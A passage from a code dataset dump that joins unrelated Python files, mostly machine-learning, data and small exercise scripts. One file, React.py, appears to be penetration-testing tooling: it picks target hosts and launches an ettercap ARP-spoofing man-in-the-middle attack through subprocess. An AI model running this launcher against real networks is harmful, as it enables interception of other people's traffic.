'Randy'\n}\nprint(files.items())\nprint(group_by_owners(files))\n","sub_path":"Final_Exam/File_Owners.py","file_name":"File_Owners.py","file_ext":"py","file_size_in_byte":439,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"331366920","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Thu Nov 15 17:07:17 2018\n\n@author: Milagros\n\"\"\"\n\n# Grafo - Capitales Regionales\n\nimport math\nimport openpyxl as oxl\n\n\ndef haversine(lat1, lon1, lat2, lon2):\n rad = math.pi/180\n dlat = lat2-lat1\n dlon = lon2-lon1\n R = 6372.795477598\n a=(math.sin(rad*dlat/2))**2 + math.cos(rad*lat1)*math.cos(rad*lat2)*(math.sin(rad*dlon/2))**2\n distancia=2*R*math.asin(math.sqrt(a))\n return distancia\n\ndef generarGrafo(filename):\n\n CPdoc = oxl.load_workbook(filename)\n\n hoja = CPdoc[CPdoc.sheetnames[0]]\n\n RLista = []\n\n for fila in hoja.rows:\n RLista.append([fila[5].value, fila[16].value, fila[15].value])\n \n G = [[] for _ in range(len(RLista))]\n\n for i in range(len(RLista)):\n \n u = RLista[i]\n \n dmax = 100\n \n while(len(G[i])< 2):\n \n for j in range(len(RLista)):\n v = RLista[j]\n \n d = round(haversine(u[1], u[2], v[1], v[2]), 2)\n \n if d > 0 and d < dmax and not j in G[i]:\n G[i].append(j)\n G[j].append(i)\n \n dmax += 100\n \n return G\n \n\nprint(generarGrafo(\"CR_25.xlsx\")) #segundos\n#print(generarGrafo(\"CP_171.xlsx\")) #segundos\n#print(generarGrafo(\"CD_1678.xlsx\")) #1 min aprox\n#print(generarGrafo(\"CP_143351.xlsx\")) #casi 15 min \n\n \n","sub_path":"GraphCP.py","file_name":"GraphCP.py","file_ext":"py","file_size_in_byte":1429,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"76266559","text":"from google.cloud import pubsub\nfrom random import randint\nfrom datetime import datetime\nimport json\nimport time\n\n\nPROJECT = 'ksalama-gcp-playground'\nTOPIC = 'babyweights'\nTIME_FORMAT = '%Y-%m-%d %H:%M:%S'\nSAMPLE_SIZE = 5000\n\n\ninstances = [\n {\n 'is_male': 'True',\n 'mother_age': 26.0,\n 'mother_race': 'Asian Indian',\n 'plurality': 1.0,\n 'gestation_weeks': 39,\n 'mother_married': 'True',\n 'cigarette_use': 'False',\n 'alcohol_use': 'False'\n },\n {\n 'is_male': 'False',\n 'mother_age': 29.0,\n 'mother_race': 'Asian Indian',\n 'plurality': 1.0,\n 'gestation_weeks': 38,\n 'mother_married': 'True',\n 'cigarette_use': 'False',\n 'alcohol_use': 'False'\n },\n {\n 'is_male': 'True',\n 'mother_age': 26.0,\n 'mother_race': 'White',\n 'plurality': 1.0,\n 'gestation_weeks': 39,\n 'mother_married': 'True',\n 'cigarette_use': 'False',\n 'alcohol_use': 'False'\n },\n {\n 'is_male': 'True',\n 'mother_age': 26.0,\n 'mother_race': 'White',\n 'plurality': 2.0,\n 'gestation_weeks': 37,\n 'mother_married': 'True',\n 'cigarette_use': 'False',\n 'alcohol_use': 'True'\n }\n ]\n\n\ndef create_pubsub_topic():\n\n client = pubsub.Client(project=PROJECT)\n topic = client.topic(TOPIC)\n\n # if topic.exists():\n # print('Deleting existing pub/sub topic {}...'.format(TOPIC))\n # topic.delete()\n\n if not topic.exists():\n print('Creating pub/sub topic {}...'.format(TOPIC))\n topic.create()\n\n print('Pub/sub topic {} is up and running'.format(TOPIC))\n print(\"\")\n\n return topic\n\n\ndef simulate_stream_data():\n\n topic = create_pubsub_topic()\n sleep_time = 0.05\n\n print(\"Data points to send: {}\".format(SAMPLE_SIZE))\n print(\"PubSub topic: {}\".format(TOPIC))\n print(\"Sleep time between each data point: {} seconds\".format(sleep_time))\n\n for i in range(SAMPLE_SIZE):\n\n index = randint(0, len(instances)-1)\n instance = instances[index]\n\n source_timestamp = datetime.now().strftime(TIME_FORMAT)\n source_id = str(abs(hash(str(instance) + str(source_timestamp))) % (10 ** 10))\n\n instance['source_id'] = source_id\n instance['source_timestamp'] = source_timestamp\n\n message = json.dumps(instance)\n topic.publish(message=message, source_id=source_id, source_timestamp=source_timestamp)\n\n time.sleep(sleep_time)\n\n if i % 100 == 0:\n print(\"{} data points were sent to: {}. Last Message was: {}\".format(i+1, topic.full_name, message))\n print(\"\")\n\n print(\"Done!\")\n\n\nif __name__ == '__main__':\n simulate_stream_data()\n\n","sub_path":"blogs/tf_dataflow_serving/simulate_stream.py","file_name":"simulate_stream.py","file_ext":"py","file_size_in_byte":2772,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"51320731","text":"# ignore all future warnings from sklearn\nfrom warnings import simplefilter\nsimplefilter(action='ignore', category=FutureWarning)\nimport argparse, os\n\nimport numpy as np\nfrom model.cse_ranking import *\n\n# Data to BiGraph\nimport numpy as np\nimport networkx as nx\nfrom networkx.algorithms import bipartite\nfrom utils.utils import *\n\nparser = argparse.ArgumentParser(description='Training_Config')\n\nparser.add_argument('--batch_size', default=4096, type=int, help='Batchsize of each mini-batch.')\nparser.add_argument('--epoch', default=150, type=int, help='Total # epochs to train.')\nparser.add_argument('--dataset', default=amazon-book, type=str, help='Dataset.')\nparser.add_argument('--emb_size', default=100, type=int, help='Embedding size.')\nparser.add_argument('--save_epoch', default=5, type=int, help='Save embedding per # epochs.')\nparser.add_argument('--negative_ratio', default=5, type=int, help='Negative examples for each positive example.')\n\nargs = parser.parse_args()\n\n\n'''\nExample of edge dataset style:\n Node Node\n ...\n u0 i13\n u199 i48343\n\n'''\n\ndef constr_bigraph(data_path):\n # read data in Bipartite Graph\n \n _data = np.load(data_path)\n users = _data['users']\n items = _data['items']\n edges = _data['edges']\n train_edgelist = _data['train_edgelist']\n# test_edgelist = _data['test_edgelist']\n \n \n G = nx.Graph()\n G.add_nodes_from(users, bipartite=0)\n G.add_nodes_from(items, bipartite=1)\n G.add_edges_from(train_edgelist)\n \n print_info(nx.info(G), ['yellow', 'bold'])\n print_info('\\nUsers: {}\\nItems: {}\\nWhole Dataset:{}\\nTraining Data:{}'.format(len(users), len(items), len(edges), len(train_edgelist)), \n ['white', 'bold'])\n\n return G\n \n \nif __name__ == \"__main__\":\n \n\n dataset_dict = {\n 'citeulike': './data/citeulike-a_edgelist.npz',\n 'gowalla' : './data/gowalla.npz',\n 'amzbook' : './data/amazon_book.npz',\n 'ML-1M' : './data/ml-1m.npz'\n }\n \n data_name = args.dataset\n data_path = dataset_dict[data_name]\n G = constr_bigraph(data_path)\n \n \n # init model\n model = CSE(G, data_name, embedding_size=args.emb_size, negative_ratio=args.negative_ratio,\n alpha=0.1, lamb=0.5, lamb_V=0.025, k=2, save_epoch=args.save_epoch)\n \n # train model\n model.train(batch_size=args.batch_size, epochs=args.epoch, verbose=2)\n \n # get embedding vectors\n embeddings = model.get_embeddings()\n \n print_info('\\n>>>> Saving Embeddings.....', ['white', 'bold'])\n np.savez('./saved_embeddings/CSE_Rank_{}_Final'.format(data_name), embeddings)\n print_info('>>>> Successfully Saved Embeddings!', ['yellow', 'bold'])","sub_path":"main_cse_ranking.py","file_name":"main_cse_ranking.py","file_ext":"py","file_size_in_byte":2711,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"112137935","text":"import json\nimport os\nfrom flask import Flask, Response, request\nfrom flask_cors import CORS\nfrom ML_engine import *\n\n\napp = Flask(__name__)\nCORS(app)\ndataProcessor = DataProcessor() \n\n@app.route('/getTweets', methods= ['GET'])\ndef getTweets():\n try:\n print(\"Requesting for some tweets\\n\", request)\n data = dataProcessor.get_some_tweets()\n data = data.to_json() #converts pandas df to json\n js = json.dumps(data)\n response = Response(js, status=200, mimetype='application/json')\n return response\n\n except Exception as e:\n print (\"EROR\", e)\n errMsg = \"Something went wrong! ERROR: \" + str(e) \n js = json.dumps(errMsg)\n response = Response(js, status=400, mimetype='application/json')\n return response\n\n\n@app.route('/applySearchModels', methods= ['GET', \"POST\"]) #needs to return relevant tweets and corresponding precision scores\ndef applySearchModels():\n try:\n jsonData = request.get_json()\n print (jsonData)\n searchModel = jsonData[\"data\"]\n articleTitle = jsonData[\"queryTitle\"]\n articleId = jsonData[\"articleId\"]\n data = returnTweetsBasedOnSearchModel(dataProcessor = dataProcessor, articleId = articleId, articleTitle = articleTitle, searchModel = searchModel)\n data = data.to_json()\n js = json.dumps(data)\n response = Response(js, status=200, mimetype='application/json')\n return response\n\n except Exception as e:\n print (\"EROR\", e)\n errMsg = \"Something went wrong! ERROR: \" + str(e) \n js = json.dumps(errMsg)\n response = Response(js, status=400, mimetype='application/json')\n return response\n\n\nif __name__ == '__main__':\n app.run(host=\"0.0.0.0\", port=5000)","sub_path":"Backend/.history/api_20210802195605.py","file_name":"api_20210802195605.py","file_ext":"py","file_size_in_byte":1758,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"541248087","text":"class Solution(object):\n def minDeletionSize(self, A):\n count = 0\n for i in range(len(A[0])): # the indice of the char in a string\n for j in range(1, len(A)):\n if ord(A[j][i]) >= ord(A[j-1][i]):\n continue\n else:\n count += 1\n break\n return count\n","sub_path":"python/944 Delete Columns to Make Sorted.py","file_name":"944 Delete Columns to Make Sorted.py","file_ext":"py","file_size_in_byte":367,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"111854604","text":"\n\n\nprint('Welcome to the Pig Latin Translator!')\n\n\npyg = 'Sof'\n\noriginal = input('Enter a word: ')\n\n\nif len(original) and original.isalpha() > 0:\n word = original.lower()\n first = word[1]\n\n \n \n new_word = word[1:len(word)] + first + pyg\n print(new_word)\n \nelse:\n print('empty')\n\n","sub_path":"Class Work 5:10.py","file_name":"Class Work 5:10.py","file_ext":"py","file_size_in_byte":297,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"435451890","text":"\n# Title : This Program detects breast cancer , based of a data\n\n# import libraries\nimport pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport seaborn as sns\n\n# Load the data\nfrom google.colab import files\nuploaded = files.upload()\ndf = pd.read_csv('data.csv')\ndf.head(7)\n\n# count the no of rows and columns\ndf.shape # result is 569 rows and 33 columns so 569 no of patients records and 33 column means 33 features\n\n# count the no of empty values in each column\ndf.isna().sum()\n\n#Drop the column with all missing values \ndf=df.dropna(axis=1)\n\n#Get the new count of the no of rows and column\ndf.shape\n\n# get a count of the number of malignant (M) or Benign (B) cells\ndf['diagnosis'].value_counts()\n\n#visualize the count\nsns.countplot(df['diagnosis'], label='count')\n\n#Check the data types that which columns need to be encoded\ndf.dtypes\n\n#Encode the categorical data values\nfrom sklearn.preprocessing import LabelEncoder\nlabelencoder_Y = LabelEncoder()\ndf.iloc[:,1] = labelencoder_Y.fit_transform(df.iloc[:,1].values)\n\n# doing above code the column diagnosis got encoded now the malignant (M) represent 1 and Benign (B) represent 0\n\ndf.head(2)\n\n# Create a pair plot\nsns.pairplot(df.iloc[:,1:5] , hue='diagnosis')\n\n# Get the correlation of the columns\ndf.iloc[:,1:12].corr()\n\n# To visualize the correlation\nplt.figure(figsize=(10,10))\nsns.heatmap(df.iloc[:,1:12].corr(), annot=True, fmt='.0%')\n\n#split the dataset into independent dataset(X)[X will tell us the features to detect the cancer] and dependent (Y) [y will tell us if the patient has cancer or not] data sets\nX = df.iloc[:,2:31].values\nY = df.iloc[:,1].values\n\n# Split the dataset into 75% training data and 25% test data\nfrom sklearn.model_selection import train_test_split\nX_train , X_test , Y_train , Y_test = train_test_split(X, Y, test_size=0.25, random_state=0)\n\n#Scale the data (Feature Scaling)\n\nfrom sklearn.preprocessing import StandardScaler\nsc = StandardScaler()\nX_train = sc.fit_transform(X_train)\nX_test = sc.fit_transform(X_test)\n\n#Create a function for the models \n\ndef models(X_train , Y_train):\n #Logistic Regression\n from sklearn.linear_model import LogisticRegression\n log = LogisticRegression(random_state=0)\n log.fit(X_train,Y_train)\n \n #Decision Tree\n from sklearn.tree import DecisionTreeClassifier\n tree = DecisionTreeClassifier(criterion='entropy',random_state=0)\n tree.fit(X_train,Y_train)\n \n #Random Forest Classifier\n from sklearn.ensemble import RandomForestClassifier\n forest = RandomForestClassifier(n_estimators = 10,criterion='entropy',random_state=0)\n forest.fit(X_train,Y_train)\n \n #Print the model accuracy on the training data\n print('[0]Logistic Regression Training Accuracy:', log.score(X_train,Y_train))\n print('[1]Decision Tree Classifier Training Accuracy:', tree.score(X_train,Y_train))\n print('[2]Random Forest Classifier Training Accuracy:', forest.score(X_train,Y_train))\n \n return log,tree,forest\n\n# Checking all the models\nmodel = models(X_train, Y_train)\n\n# Test our model accuracy in Testing data using confusion matrix \n\nfrom sklearn.metrics import confusion_matrix\ncm = confusion_matrix(Y_test,model[0].predict(X_test))\nprint(cm)\n\n#true positive is 86 , true negative is 50 , false positive is 4 and false\n\nTP = cm[0][0]\nTN = cm[1][1]\nFN = cm[1][0]\nFP = cm[0][1]\nprint(cm)\nprint('Testing Accuracy = ', (TP+TN)/(TP+TN+FN+FP))\n\n# so the below result is testing dataset accuracy is 95%\n\n# Test our model accuracy in Testing data using confusion matrix \n\nfrom sklearn.metrics import confusion_matrix\n\nfor i in range(len(model)):\n print('Model ',i)\n cm = confusion_matrix(Y_test,model[i].predict(X_test))\n TP = cm[0][0]\n TN = cm[1][1]\n FN = cm[1][0]\n FP = cm[0][1]\n print(cm)\n print('Testing Accuracy = ', (TP+TN)/(TP+TN+FN+FP))\n print()\n\n#Alternative way to see metrics of the models\nfrom sklearn.metrics import classification_report\nfrom sklearn.metrics import accuracy_score\n\nfor i in range(len(model)):\n print('Model',i)\n print(classification_report(Y_test,model[i].predict(X_test)))\n print(accuracy_score(Y_test,model[i].predict(X_test)))\n print()\n\n# Print the prediction of RandomForest Classifier Model\npred = model[2].predict(X_test)\nprint(pred)\nprint()\nprint(Y_test)","sub_path":"Breast_Cancer_Detection.py","file_name":"Breast_Cancer_Detection.py","file_ext":"py","file_size_in_byte":4237,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"281415441","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Tue Apr 28 14:58:34 2020\r\n\r\n@author: Varsha\r\n\"\"\"\r\n\r\nn=int(input())\r\nfor i in range(n):\r\n m=int(input())\r\n lst=list(map(int,input().split()))\r\n lst.sort(reverse=True)\r\n sum=lst[0]\r\n for j in range(1,m):\r\n lst[j]-=j\r\n if lst[j]>0:\r\n sum+=lst[j]\r\n print(sum%(1000000007))","sub_path":"Code library/119.Carsell.py","file_name":"119.Carsell.py","file_ext":"py","file_size_in_byte":352,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"566461655","text":"\"\"\"\nPretrain policy_network as SL\nLoad Fens and moves dataset\n\"\"\"\n\nfrom network import PolicyNetwork\nimport pandas as pd\nimport numpy as np\nfrom io import StringIO\nfrom chess_env import ChessEnv\nfrom torch.utils.data import Dataset\nfrom tqdm import tqdm\nimport torch\nimport torch.optim as optim\nfrom torch.utils.data import DataLoader\nimport torch.nn as nn\nimport torch.nn.functional as F\nimport matplotlib.pyplot as plt \nfrom torch.distributions.categorical import Categorical\nfrom tqdm import tqdm\nfrom torch.utils.tensorboard import SummaryWriter\nfrom pathlib import Path\nimport time\n\ntrain_ite = 0\ntest_ite = 0\n\nclass TrainDataset(Dataset):\n def __init__(self):\n # Read csv\n \n loaded = np.load(\"./train_dataset.npz\")\n self.x = loaded['fens']\n self.y = loaded['moves']\n\n # Convert to tensor\n self.x = torch.from_numpy(self.x)\n self.y = torch.from_numpy(self.y)\n\n def __len__(self):\n return len(self.y)\n\n def __getitem__(self, idx):\n return self.x[idx], self.y[idx]\n\nclass TestDataset(Dataset):\n def __init__(self):\n # Read csv\n \n loaded = np.load(\"./test_dataset.npz\")\n self.x = loaded['fens']\n self.y = loaded['moves']\n\n # Convert to tensor\n self.x = torch.from_numpy(self.x)\n self.y = torch.from_numpy(self.y)\n\n def __len__(self):\n return len(self.y)\n\n def __getitem__(self, idx):\n return self.x[idx], self.y[idx]\n\nclass ValDataset(Dataset):\n def __init__(self):\n # Read csv\n \n loaded = np.load(\"./val_dataset.npz\")\n self.x = loaded['fens']\n self.y = loaded['moves']\n\n # Convert to tensor\n self.x = torch.from_numpy(self.x)\n self.y = torch.from_numpy(self.y)\n\n def __len__(self):\n return len(self.y)\n\n def __getitem__(self, idx):\n return self.x[idx], self.y[idx]\n\n\n\n\n\ndef correct_predictions(predicted_batch, label_batch):\n pred = predicted_batch.argmax(dim=1, keepdim=True) # get the index of the max log-probability\n acum = pred.eq(label_batch.view_as(pred)).sum().item()\n return acum\n\ndef train_epoch(train_loader, network, optimizer, criterion):\n # Activate the train=True flag inside the model\n global train_ite\n network.train()\n device = \"cuda\"\n avg_loss = None\n avg_weight = 0.1\n for batch_idx, (data, target) in enumerate(train_loader):\n data, target = data.to(device), target.to(device)\n optimizer.zero_grad()\n logits = network(data)\n loss = criterion(logits, target)\n loss.backward()\n if avg_loss:\n avg_loss = avg_weight * loss.item() + (1 - avg_weight) * avg_loss\n else:\n avg_loss = loss.item()\n optimizer.step()\n\n writer.add_scalar(\"Train loss\", loss, train_ite)\n train_ite +=1\n \n if batch_idx % log_interval == 0:\n print('Train Epoch: {} [{}/{} ({:.0f}%)]\\tLoss: {:.6f}'.format(\n epoch, batch_idx * len(data), len(train_loader.dataset),\n 100. * batch_idx / len(train_loader), loss.item()))\n return avg_loss\n\ndef test_epoch(test_loader, network):\n network.eval()\n device = 'cuda'\n test_loss = 0\n acc = 0\n with torch.no_grad():\n for data, target in test_loader:\n data, target = data.to(device), target.to(device)\n logits = network(data)\n loss = criterion(logits, target, reduction='sum').item()\n test_loss += loss # sum up batch loss\n # compute number of correct predictions in the batch\n acc_batch = correct_predictions(logits, target)\n acc += acc_batch\n\n # Average acc across all correct predictions batches now\n test_loss /= len(test_loader.dataset)\n test_acc = 100. * acc / len(test_loader.dataset)\n print('\\nTest set: Average loss: {:.4f}, Accuracy: {}/{} ({:.0f}%)\\n'.format(\n test_loss, acc, len(test_loader.dataset), test_acc,\n ))\n return test_loss, test_acc\n\ntr_losses = []\nte_losses = []\nte_accs = []\n\nbatch_size = 128\nnum_epochs = 25\nlog_interval = 100\n\nmodel = PolicyNetwork()\ntrain_dataset = TrainDataset()\ntest_dataset = TestDataset()\n\ntrain_loader = DataLoader(train_dataset, batch_size=batch_size, shuffle=True, drop_last=True)\ntest_loader = DataLoader(test_dataset, batch_size=batch_size*2, shuffle=True, drop_last=True)\n\n\nmodel.to('cuda')\noptimizer = optim.Adam(model.parameters(), lr=1e-3)\ncriterion = F.cross_entropy\n\ntimestr = time.strftime(\"%d%m%Y-%H%M%S-\")\n\nlog_dir = \"./runs/\" + timestr + 'SLResnet34' \n\n\nwriter = SummaryWriter(log_dir=log_dir)\n\n# LOAD MODEL\n# Create folder models\nif not Path(\"./models\").exists():\n print(\"Creating Models folder\")\n Path(\"./models\").mkdir()\n\nmodel_path = Path(\"./models/\" + 'SLResnet' + \".tar\")\nif model_path.exists():\n print(\"Loading model!\")\n #Load model\n checkpoint = torch.load(model_path)\n model.load_state_dict(checkpoint['policy_model'])\n optimizer.load_state_dict(checkpoint['policy_optimizer'])\n\nfor epoch in tqdm(range(1, num_epochs + 1)):\n tr_loss = train_epoch(train_loader, model, optimizer, criterion)\n tr_losses.append(tr_loss)\n te_loss, te_acc = test_epoch(test_loader, model)\n te_losses.append(te_loss)\n te_accs.append(te_acc)\n \n writer.add_scalar(\"Test loss\", te_loss, epoch)\n writer.add_scalar(\"Test accuracy\", te_acc, epoch)\n\n torch.save({\n 'policy_model': model.state_dict(),\n 'policy_optimizer': optimizer.state_dict()}, model_path)\n\n# plt.figure(figsize=(10, 8))\n# plt.subplot(2,1,1)\n# plt.xlabel('Epoch')\n# plt.ylabel('NLLLoss')\n# plt.plot(tr_losses, label='train')\n# plt.show()\n# plt.plot(te_losses, label='test')\n# plt.show()\n# plt.legend()\n# plt.subplot(2,1,2)\n# plt.xlabel('Epoch')\n# plt.ylabel('Test Accuracy [%]')\n# plt.plot(te_accs)\n# plt.show()\n\n\n","sub_path":"scripts/Supervised_chess/train_SL.py","file_name":"train_SL.py","file_ext":"py","file_size_in_byte":5788,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"291538998","text":"from databaseHelpers.SqliteHelper import SqliteHelper\nfrom dataModel.Document import Document\n\nmyHelper = SqliteHelper(\"C:/Users/Jacek/Desktop/baza danych.db\")\nmyHelper.start()\nmyHelper.createDocumentTable(\"MY_ARTICLE\")\n\nfor i in range(1,200):\n myHelper.saveDocument(Document(\"Tytuł\",\"JAKIŚ 'TEKST', JAKIŚ TEKST, JAKIŚ TEKST!!!!\",\"2017-08-05\",\"www.wp.pl\"),\"MY_ARTICLE\")\n\nmyHelper.close()\n","sub_path":"TEXT_MINING_JW_TK/databaseHelpers/demonstration.py","file_name":"demonstration.py","file_ext":"py","file_size_in_byte":395,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"555643120","text":"from typing import List\n\nfrom preference_controller.judgement import Judgement\nfrom preference_controller.segment_pair import SegmentPair\nfrom scorers.scorer import Scorer\n\n\nclass Agent:\n def __init__(self, scorer:Scorer):\n self.__scorer = scorer\n\n def score(self,y_ground, y_pred)->float:\n return self.__scorer.score(y_ground, y_pred)\n\n def get_scoring_function(self):\n return self.__scorer.get_scorer()\n\n def get_judgements(self,segment_pairs:List[SegmentPair])->List[Judgement]:\n judgements = []\n for segment_pair in segment_pairs:\n (seg_1,seg_2) = segment_pair.get_segments()\n judgement = Judgement(seg_1=seg_1, seg_2=seg_2)\n score_seg_1 = self.score(y_ground=seg_1.get_y_ground(),y_pred=seg_1.get_y_pred())\n score_seg_2 = self.score(y_ground=seg_2.get_y_ground(),y_pred=seg_2.get_y_pred())\n if score_seg_1 > score_seg_2:\n judgement.set_winner(\"seg_1\")\n else:\n judgement.set_winner(\"seg_2\")\n judgements.append(judgement)\n return judgements","sub_path":"agent/agent.py","file_name":"agent.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"588447519","text":"import json\nimport logging\n\nfrom community_csdt.src.models import database\n\nclass Logout(object):\n def __init__(self, parent, name):\n self.__parent__ = parent\n self.__name__ = name\n\n def __getitem__(self, key):\n log = logging.getLogger('csdt')\n log.info(\"Logout.__getitem__()\")\n log.debug(\"key = %s\" % key)\n\n raise KeyError\n","sub_path":"src/community_csdt/community_csdt/src/models/logout/logout.py","file_name":"logout.py","file_ext":"py","file_size_in_byte":372,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"105408423","text":"# *********************************************#\n# Module: React\n# Purpose: Take recommendations from the network entities\n# verify required conditions exist. Launch attack. Update\n# success or failutre based on user input\n# Main FCN: React()\n# *********************************************#\n\nimport xml.etree.ElementTree as ET\nimport subprocess\nfrom datetime import datetime\n\n\n# *********************************************#\n# Function: GetVulnerabilities\n# Purpose: Finds vulnerabilities in each XML file and\n# returns them to the calling function along with their\n# probability and any requirements\n# Input: None\n# Output: (vlist, prob) vlist is a matrix containing\n# vectors of IP addresses with recommended attacks, the attack\n# and further requirements for the attack\n# vlist looks like: [['A', '192.168.120.3', 'MiTM-Ettercap', 'B'],\n# ['192.168.120.10', 'DOS-Cain and Able'],\n# prob is a vector of probabilities of each of the vlist addresses\n# prob looks like: ['0.625', '0.6', '0.625']\n# *********************************************#\ndef GetVulnerabilities():\n ilist = GetIPAddresses()\n vlist = []\n prob = []\n for i in ilist:\n filen = 'IP' + i + '.xml'\n tree = ET.parse(filen)\n root = tree.getroot()\n hold = []\n for v in root.iter(\"State\"):\n for s in v.iter(\"Vulnerability\"):\n hold.append(s.text.strip())\n for rc in root.iter(\"Recommend\"):\n hold.append(root.text.strip())\n hold.append(rc.text.strip())\n for pr in rc.iter(\"Prob\"):\n prob.append(pr.text.strip())\n for rq in rc.iter(\"Requires\"):\n hold.append(rq.text.strip())\n vlist.append(hold)\n return (vlist, prob)\n\n\n# *********************************************#\n# Function: FindVul\n# Purpose: Finds a specific vulnerability from all of the IP\n# addresses. Used to see if additional requirements are met\n# Input: fv - name of the vulnerabilty to be found i.e., 'B'\n# Output: IP- returns first IP address of a entity with that\n# vulnerability\n# *********************************************#\ndef FindVul(fv):\n ilist = GetIPAddresses()\n IP = 'No IP Found'\n for i in ilist:\n filen = 'IP' + i + '.xml'\n tree = ET.parse(filen)\n root = tree.getroot()\n for vul in root.iter('Vulnerability'):\n if vul.text.strip() == fv.strip():\n IP = root.text.strip()\n return IP\n\n\n# *********************************************#\n# Function: runEttercap\n# Purpose: Runs the ettercap program from the command line\n# Input: victim1 and victim2- IP addresses of the two entities we'd like to\n# perform a MiTM attack on\n# Output: True - denotes attack called\n# *********************************************#\ndef runEttercap(victim1, victim2):\n # command = [\"C:\\\\Program Files\\\\Ettercap Development Team\\\\Ettercap-0.7.4\\\\ettercap.exe\", '-T', '-M', 'arp:remote', '/'+ victim1+ '/', '/'+ victim2 + '/']\n # subprocess.call(command)\n command = [\"/usr/local/bin/ettercap\", '-T', '-M', 'arp:remote', '/' + victim1 + '/', '/' + victim2 + '/']\n subprocess.call(command)\n update(victim1, True, 'MiTM-Ettercap')\n return True\n\n\n# *********************************************#\n# Function: update\n# Purpose: Updates the entity xml with the time date and success\n# (or failure) of the attack\n# Input: IP - network entity IP address, Success- success or failure\n# Attack - what attack was performed\n# Output: True - denotes update complete\n# *********************************************#\ndef update(IP, Success, Attack):\n filen = 'IP' + IP + '.xml'\n tree = ET.parse(filen)\n root = tree.getroot()\n t = datetime.now().strftime(\"%Y-%m-%d %I:%M%p\")\n if Success == True:\n AElem = ET.SubElement(root, 'AttackPerformed')\n AElem.text = Attack.strip()\n TElem = ET.SubElement(AElem, 'TimeStamp')\n TElem.text = t.strip()\n tree.write(filen, 'us-ascii')\n return True\n\n\n# *********************************************#\n# Function: GetIPAddresses\n# Purpose: pulls all IP addresses from the master list and returns a vector with them\n# Input: None\n# Output: vector list of IP addresses\n# Looks like: ['192.168.120.3', '192.168.120.4', '192.168.120.10', '192.168.120.150']\n# *********************************************#\ndef GetIPAddresses():\n tree = ET.parse('IPAddressIndex.xml')\n root = tree.getroot()\n IPAddList = []\n for IP in root.iter('IP'):\n IPAddList.append(IP.text.strip())\n return IPAddList\n\n\n# *********************************************#\n# Function: React\n# Purpose: gets list of possible attacks, probabilities and requirements\n# finds highest probability, if requirements are met it launches that attack\n# if they are not it goes to the next highest probabilty and continues to check\n# until it can launch. Then it updates.\n# Input: None\n# Output: Success- tells GUI that react module completed\n# *********************************************#\ndef React():\n (vlist, prob) = GetVulnerabilities()\n p = prob.index(max(prob))\n attack = vlist[p]\n\n if len(attack) > 3:\n v2 = FindVul(attack[3])\n if attack[2].strip() == 'MiTM-Ettercap':\n runEttercap(attack[1], v2)\n if attack[2].strip() == 'DOS-Cain and Able':\n print('No current attack...sorry')\n\n return 'Success', attack[0], attack[2]\n\n\n# *********************************************#\n# Function: UpdateSuccess\n# Purpose: Updates Exploit XML probability for that attack with\n# success.\n# Input: Vul - vulnerability exploited\n# Attack - attack launched for that vulnerability\n# Output: 'Updated' to indicate that update has completed\n# *********************************************#\ndef UpdateSuccess(Vul, Attack):\n tree = ET.parse(\"Exploits.xml\")\n root = tree.getroot()\n for V in root.iter(\"Vulnerability\"):\n if V.text.strip() == Vul.strip():\n for A in V.iter(\"Recommend\"):\n if A.text.strip() == Attack.strip():\n for P in A.iter(\"Prob\"):\n k = P.text.split(\":\").strip()\n k[0] = int(k[0]) + 1\n k[1] = int(k[1]) + 1\n m = str(k[0]) + \":\" + str(k[1])\n P.text = m.strip()\n tree.write(\"Exploits.xml\", 'us-ascii')\n return 'Updated'\n\n\n# *********************************************#\n# Function: UpdateFailure\n# Purpose: Updates Exploit XML probability for that attack with\n# failure.\n# Input: Vul - vulnerability exploited\n# Attack - attack launched for that vulnerability\n# Output: 'Updated' to indicate that update has completed\n# *********************************************#\ndef UpdateFailure(Vul, Attack):\n tree = ET.parse(\"Exploits.xml\")\n root = tree.getroot()\n for V in root.iter(\"Vulnerability\"):\n if V.text.strip() == Vul.strip():\n for A in V.iter(\"Recommend\"):\n if A.text.strip() == Attack.strip():\n for P in A.iter(\"Prob\"):\n k = P.text.split(\":\").strip()\n k[1] = int(k[1]) + 1\n m = k[0] + \":\" + str(k[1])\n P.text = m.strip()\n\n tree.write(\"Exploits.xml\", 'us-ascii')\n return 'Updated'\n\n\nif __name__ == '__main__':\n React()\n","sub_path":"React.py","file_name":"React.py","file_ext":"py","file_size_in_byte":7306,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"87"} +{"seq_id":"273502160","text":"from datetime import date\n\nimport dateutil.parser\nfrom django.core.mail import EmailMultiAlternatives\nfrom django.db import connection\nfrom demandas.models import Demanda , Log_Demanda , Log_Demanda_Item , Anexo\nfrom django.conf import settings\nfrom django.contrib.auth.models import User\nfrom django.core.mail import send_mail\nfrom helpers.d2o import d2o\nfrom prj.models import Equipe , Projeto , Tag\nfrom tabelas.models import Perfil\nfrom tabelas.models import (Status_Demanda , Tipo_Tarefa)\nfrom helpers.planilha import processa_cadastro_planilha, processa_atualiza_demanda\nfrom django.template import Context, Template\n\ndef 